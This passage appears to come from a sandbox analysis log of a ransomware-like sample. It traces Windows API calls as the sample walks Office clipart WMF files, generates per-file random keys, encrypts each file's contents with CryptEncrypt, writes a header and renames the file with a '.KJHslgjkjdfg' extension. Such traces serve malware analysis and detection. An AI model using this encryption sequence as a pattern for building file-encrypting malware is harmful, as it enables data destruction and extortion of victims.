lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.117] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.117] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.117] GetProcessHeap () returned 0x2a0000 [0185.117] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.117] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.117] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.117] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.120] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.120] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.120] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.120] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.120] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.120] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.120] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.120] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.120] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1e00, lpOverlapped=0x0) returned 1 [0185.121] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e00, dwBufLen=0x1e00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e00) returned 1 [0185.121] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.121] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1e00, lpOverlapped=0x0) returned 1 [0185.122] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.122] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.122] SetEndOfFile (hFile=0x114) returned 1 [0185.124] GetProcessHeap () returned 0x2a0000 [0185.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.124] GetProcessHeap () returned 0x2a0000 [0185.124] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.125] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01123_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01123_.wmf.kjhslgjkjdfg")) returned 1 [0185.126] CloseHandle (hObject=0x114) returned 1 [0185.126] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23d3100, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe23d3100, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01126_.WMF", cAlternateFileName="")) returned 1 [0185.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.127] GetProcessHeap () returned 0x2a0000 [0185.127] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.127] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.127] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.128] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.128] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.128] GetProcessHeap () returned 0x2a0000 [0185.128] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.128] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.128] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.128] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.130] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.130] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.130] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.130] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.131] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.131] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.131] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.131] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.131] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb70, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb70, lpOverlapped=0x0) returned 1 [0185.131] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb70, dwBufLen=0xb70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb70) returned 1 [0185.131] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.131] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb70, lpOverlapped=0x0) returned 1 [0185.131] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.131] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.131] SetEndOfFile (hFile=0x114) returned 1 [0185.134] GetProcessHeap () returned 0x2a0000 [0185.134] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.134] GetProcessHeap () returned 0x2a0000 [0185.134] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01126_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01126_.wmf.kjhslgjkjdfg")) returned 1 [0185.135] CloseHandle (hObject=0x114) returned 1 [0185.136] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94292d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94292d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x16a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01130_.WMF", cAlternateFileName="")) returned 1 [0185.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.137] GetProcessHeap () returned 0x2a0000 [0185.137] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.137] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.137] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.137] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.137] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.137] GetProcessHeap () returned 0x2a0000 [0185.137] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.137] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.137] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.137] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.139] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.140] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.140] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.140] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.140] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.140] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.140] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.140] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.140] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x16a0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x16a0, lpOverlapped=0x0) returned 1 [0185.141] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16a0, dwBufLen=0x16a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16a0) returned 1 [0185.141] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.141] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x16a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x16a0, lpOverlapped=0x0) returned 1 [0185.141] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.141] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.141] SetEndOfFile (hFile=0x114) returned 1 [0185.144] GetProcessHeap () returned 0x2a0000 [0185.144] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.144] GetProcessHeap () returned 0x2a0000 [0185.144] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.144] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01130_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01130_.wmf.kjhslgjkjdfg")) returned 1 [0185.146] CloseHandle (hObject=0x114) returned 1 [0185.146] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22e1e00, ftCreationTime.dwHighDateTime=0x1bd4afd, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22e1e00, ftLastWriteTime.dwHighDateTime=0x1bd4afd, nFileSizeHigh=0x0, nFileSizeLow=0x16d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01141_.WMF", cAlternateFileName="")) returned 1 [0185.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.147] GetProcessHeap () returned 0x2a0000 [0185.147] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.147] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.147] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.147] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.151] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.151] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.151] GetProcessHeap () returned 0x2a0000 [0185.151] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.151] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.151] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.151] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.151] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.151] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.151] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.151] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.151] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.152] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.152] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.152] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.152] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x16d8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x16d8, lpOverlapped=0x0) returned 1 [0185.153] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16e0, dwBufLen=0x16e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16e0) returned 1 [0185.153] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.153] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x16e0, lpOverlapped=0x0) returned 1 [0185.153] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.153] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x17b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.153] SetEndOfFile (hFile=0x114) returned 1 [0185.156] GetProcessHeap () returned 0x2a0000 [0185.156] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.156] GetProcessHeap () returned 0x2a0000 [0185.156] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.156] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf.kjhslgjkjdfg")) returned 1 [0185.158] CloseHandle (hObject=0x114) returned 1 [0185.158] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc383d00, ftCreationTime.dwHighDateTime=0x1bd4afc, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc383d00, ftLastWriteTime.dwHighDateTime=0x1bd4afc, nFileSizeHigh=0x0, nFileSizeLow=0x1f38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01148_.WMF", cAlternateFileName="")) returned 1 [0185.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.159] GetProcessHeap () returned 0x2a0000 [0185.159] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.159] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.159] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.159] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.162] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.162] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.162] GetProcessHeap () returned 0x2a0000 [0185.162] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.162] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.162] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.162] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.162] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.162] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.162] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.163] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | 